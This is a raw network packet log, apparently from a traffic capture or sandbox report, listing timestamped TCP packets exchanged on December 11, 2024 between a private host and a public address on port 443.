Dec 11, 2024 12:14:58.771951914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.771965981 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.772136927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.772136927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.772136927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.772841930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.772908926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.773001909 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.773001909 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.773184061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.773192883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.773375988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.826499939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.830574036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.970094919 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.970114946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.970437050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.970438004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.970438004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.970454931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.970629930 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.972007036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.972027063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.972330093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.972330093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.972330093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.972330093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.972347021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.972521067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.973074913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.973392010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.977025986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.977045059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.977369070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.977369070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.977382898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.977559090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.977559090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.978952885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.978976011 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.979094028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.979094028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.979106903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.979142904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.979338884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.979338884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.980815887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.980834961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.980966091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.980967045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.981198072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.981426001 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.982865095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.982887030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.983031034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.983042002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.983223915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.983223915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.983223915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.983223915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.984677076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.984697104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.984843969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.984843969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.985023022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.985023022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.985030890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.986107111 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.987256050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.987276077 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.987389088 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.987621069 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.987621069 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.987627983 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.989842892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.989864111 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.990011930 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.990012884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.990025043 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.990209103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.990209103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.990209103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.990209103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991245985 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.991265059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.991406918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991406918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991590023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991590023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991590023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991590023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.991597891 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.993823051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.993844032 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.994178057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.994178057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.994189978 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.995677948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.995691061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.995820999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.995835066 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.995867014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.995867014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.996061087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.997406960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.997426987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.997567892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.997567892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.997750998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.997756958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.999460936 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.999480009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.999655962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.999666929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.999845028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.999845028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.001403093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.001420975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.001923084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.001924038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.001924038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.001924038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.001924038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.001940012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.001991034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.006122112 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.006145954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.006345987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.006474018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.006474018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.006474018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.006474018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.006474018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.006490946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.007100105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.007100105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.007100105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.007100105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.007100105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.007288933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.007982969 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.008002043 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.008330107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.008330107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.008331060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.008331060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.008346081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.008652925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.010109901 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.010129929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.010705948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.010705948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.010705948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.010720968 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.010773897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.010957003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.010957003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.012639046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.012658119 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.012979984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.012979984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.012979984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.012979984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.012979984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.012995958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.013174057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.014512062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.014530897 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.014754057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.014754057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.014754057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.014770031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.014939070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.014939070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.016541004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.016560078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.016884089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.016884089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.016896009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.017075062 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.018394947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.018414021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.018738985 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.018738985 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.018749952 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.018933058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.020754099 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.020772934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.021078110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.021078110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.021078110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.021090031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.021262884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.021424055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.022907972 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.022927046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.023092031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.023092031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.023271084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.023279905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.023459911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.023459911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.024775028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.024784088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.025626898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025626898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025636911 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.025815964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025815964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025815964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025815964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025826931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.025974035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025974989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.025974989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.213762999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.213783026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.213926077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.213926077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.214109898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.214109898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.214109898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.214123964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.214301109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.215744972 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.215764999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.216098070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216098070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216098070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216113091 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.216424942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216706038 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.216784000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.216872931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216872931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216872931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.216885090 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.217055082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.219984055 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.220001936 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.220146894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.220146894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.220160007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.220339060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.220339060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.220339060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.220339060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.221947908 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.221966982 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.222106934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.222106934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.222290993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.222290993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.222290993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.222290993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.222301960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.223912954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.223934889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.224077940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.224077940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.224090099 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.224272013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.224272013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.224272013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.224272013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.225887060 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.225908995 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.226229906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.226229906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.226244926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.227813005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.227833986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.228005886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.228005886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.228005886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.228018045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.228198051 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.230113029 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.230130911 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.230278969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.230279922 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.230293036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.230468035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.230468035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.230468035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.230468035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.232103109 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.232122898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.232512951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.232512951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.232512951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.232512951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.232528925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.232579947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.232759953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.233983040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.234005928 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.234144926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.234144926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.234157085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.234338045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.234533072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.235925913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.235944986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.236272097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.236272097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.236272097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.236284971 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.237895012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.237966061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.238058090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.238065004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.238250017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.238250017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.238435984 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.238590002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.240170956 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.240194082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.240494967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.240494967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.240494967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.240494967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.240509987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.242098093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.242120028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.242743015 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.242743969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.242743969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.242743969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.242743969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.242743969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.242758989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.244070053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.244086027 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.244194984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.244206905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.244242907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.244437933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.244437933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.245985985 CET	443	49832	172.67.128.139	192.168.11.30
